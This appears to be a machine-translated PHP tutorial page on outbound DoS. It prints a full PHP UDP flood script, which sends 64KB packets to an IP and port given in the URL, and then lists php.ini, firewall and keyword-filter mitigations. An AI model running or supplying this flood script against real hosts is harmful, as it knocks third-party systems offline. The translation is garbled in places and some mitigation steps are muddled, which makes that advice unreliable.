Home  >  Article  >  Backend Development  >  Prevent users from using up network bandwidth by using PHP code DOS_PHP Tutorial

Prevent users from using up network bandwidth by using PHP code DOS_PHP Tutorial

WBOY
WBOYOriginal
2016-07-21 15:32:12883browse

Use PHP code to call sockets and directly use the server's network to attack other IPs. Common codes are as follows:

Copy code The code is as follows:

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE) ;
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $ time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$ packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr , 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2 ) . " packets/s \n";
?>

Features:
As soon as IIS is turned on, the server’s outgoing bandwidth is used up-- ---That is to say, the server keeps sending packets to others. This situation is different from being attacked by DDOS. DDOS keeps receiving a large number of data packets.
Solution:
Prohibit the above code:
Set in c:windowsphp.ini:
disable_functions =gzinflate;
Set the value in c:windowsphp.ini to Off
allow_url_fopen = Off
and:
;extension =php_sockets.dll
There must be a ; sign in front of it, which means that the use of sockets.dll
must be retained.
Then restart IIS
If the above method still exists Invalid, you can disable PHP extension testing in the allowed extensions in IIS.
In addition, for unencrypted PHP attack code, you can also use the following methods to deal with it:
1. In the IP policy, or firewall , prohibit all UDP from being sent out
2. Use first-class information monitoring, in SQL interception and URL interception, intercept the keyword port=

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/322894.htmlTechArticleUse PHP code to call sockets and directly use the server’s network to attack other IPs. Common codes are as follows: Copy the code as follows : $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_ti...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn